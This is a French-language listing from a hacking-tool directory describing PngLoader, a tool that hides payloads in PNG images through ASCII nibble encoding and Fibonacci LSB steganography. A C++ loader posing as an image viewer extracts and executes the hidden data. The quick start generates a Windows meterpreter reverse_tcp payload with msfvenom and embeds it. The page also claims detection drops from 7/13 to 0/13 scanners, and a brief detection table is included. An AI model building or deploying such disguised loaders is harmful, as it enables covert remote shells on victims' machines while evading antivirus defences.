Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PngLoader — Cache des charges utiles arbitraires dans des images PNG à l'aide d'un encodage nibble-vers-ASCII et d'une stéganographie LSB de Fibonacci, avec un loader C++ qui extrait et exécute les données intégrées. | Kitploit
Outils/GitHubGitHub/i014n/pngloader
Outils DéfensifsGénération de PayloadsExploitationShellcodeStéganographieAnalyse de MalwareApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubi014n/pngloader

PngLoader

Cache des charges utiles arbitraires dans des images PNG à l'aide d'un encodage nibble-vers-ASCII et d'une stéganographie LSB de Fibonacci, avec un loader C++ qui extrait et exécute les données intégrées.

3130il y a 22h 46mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

PngLoader — Recherche sur les charges utiles stéganographiques

Avertissement : Ce projet est destiné exclusivement à des fins éducatives et de recherche en sécurité autorisée — tests d'intrusion, compétitions CTF, exercices red team et études académiques. Ne l'utilisez pas contre des systèmes sans autorisation écrite explicite.


Aperçu

PngLoader dissimule des données arbitraires à l'intérieur d'images PNG en utilisant deux couches :

  1. Encodage nibble-vers-ASCII — binaire → caractères ASCII imprimables
  2. Stéganographie de Fibonacci — données encodées → pixels dispersés dans un PNG
  3. Loader — une « visionneuse PNG » Windows qui extrait et exécute les données cachées

Démarrage rapide

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

Démo PoC

Démo PoC


Structure du projet

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Fonctionnement

Étape 1 — Encodage nibble vers ASCII

Chaque octet est divisé en deux nibbles de 4 bits. Chaque nibble est mappé vers un caractère ASCII imprimable en ajoutant une base aléatoire (48, 64 ou 96) :

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Décodage utilise la propriété modulo-16 — les trois bases sont des multiples de 16 :

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

La sélection aléatoire de la base signifie que la même entrée produit une sortie différente à chaque fois, mais le décodage est toujours déterministe.

BasePlageCaractères
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Étape 2 — Stéganographie de Fibonacci

Les octets de la charge utile sont placés aux indices de pixels suivant la suite de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sur le tableau de pixels aplati. Cela répartit les modifications sur l'ensemble de l'image au lieu de les regrouper.

Compactage des bits — chaque octet est réparti en 3/3/2 sur les LSB RGB :

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Wrapping — lorsque les indices de Fibonacci dépassent le nombre de pixels, ils bouclent via un modulo. Les collisions sont résolues par sondage linéaire. Un terminateur 0x00 marque la fin des données.

Taille de l'imagePixelsCapacité propre
640×480307 200~27 octets
1920×10802 073 600~31 octets
4000×300012M~35 octets

Avec le wrapping activé, capacité max = total_pixels − 1.

Étape 3 — Loader

Le loader C++ (loader_png.cpp) agit comme une visionneuse PNG légitime :

  1. Affiche l'image normalement via GDI+
  2. Extrait les octets cachés des positions de pixels de Fibonacci via WIC (RGB24)
  3. Décode ASCII → binaire via UtilDecryptFileQuoted() (inversion mod-16)

Algorithmes de positionnement alternatifs

La suite de Fibonacci n'est qu'une approche parmi d'autres. D'autres stratégies de sélection de pixels offrent différents compromis capacité/sécurité :

AlgorithmeCapacité propre (1080p)Clé partagéeRépartitionCoût
Fibonacci (implémenté)~31 octetsNonÉcarts exponentielsMinimal
Prime-Index~150K octetsNonÉcarts n·ln(n)Modéré
LFSR~2M octetsOui (graine)Pseudo-aléatoireMinimal
Keyed Permutation~2M octetsOui (clé)CryptographiqueÉlevé
Courbe de HilbertDépend du pasNonSpatialement uniformeModéré
Nombre d'or (Weyl)~2M octetsNonFaible discrépanceMinimal
Détails sur chaque algorithme

Prime-Index — Les indices de pixels sont des nombres premiers (2, 3, 5, 7, 11…). Les nombres premiers croissent comme n·ln(n), offrant une capacité propre bien supérieure à Fibonacci.

LFSR — Un registre à décalage à rétroaction linéaire de longueur maximale produit une permutation pseudo-aléatoire. La graine agit comme un secret partagé. Aucune collision sur la période complète.

Keyed Permutation (Fisher-Yates) — Un mélange de tous les indices de pixels amorcé par un CSPRNG. Les positions sont indiscernables du hasard sans la clé.

Courbe de Hilbert — Parcourt les pixels le long d'une courbe remplissant l'espace avec un pas. Répartit les modifications uniformément sur la surface 2D de l'image.

Nombre d'or (séquence de Weyl) — pos(n) = floor(n × φ × total) mod total. Produit la distribution 1D la plus uniforme possible. Trivial à calculer.


Résultats des scans

Charge utile brute — 7/13 scanners la détectent :

Scan de la charge utile brute

Après encodage — 0/13 scanners la détectent :

Scan de la charge utile encodée


Recommandations de détection

Pour les blue-teams / défenseurs :

CoucheIndicateur
StatiqueImports : VirtualAllocEx, WriteProcessMemory, SetThreadContext
ImageLa stéganalyse par chi-deux sur les plans LSB détecte les modifications
ComportementalCréation de processus suspendu + injection de thread distant (Sysmon EID 1+8)
EncodageCaractères exclusivement issus de trois plages ASCII de 16 caractères

Compilation et dépendances

Python :

pip install numpy Pillow

Chargeur C++ :

  • Visual Studio 2019+ avec la charge de travail C++ Desktop
  • Windows 10+ SDK
  • Ouvrir 1.Loader/Loader_png.vcxproj → Build Release x64

Références

  • LSB Steganography
  • Fibonacci Sequence
  • Windows Imaging Component

Licence

Recherche en sécurité éducative et autorisée uniquement. Voir l'avertissement ci-dessus.

Télécharger l’outil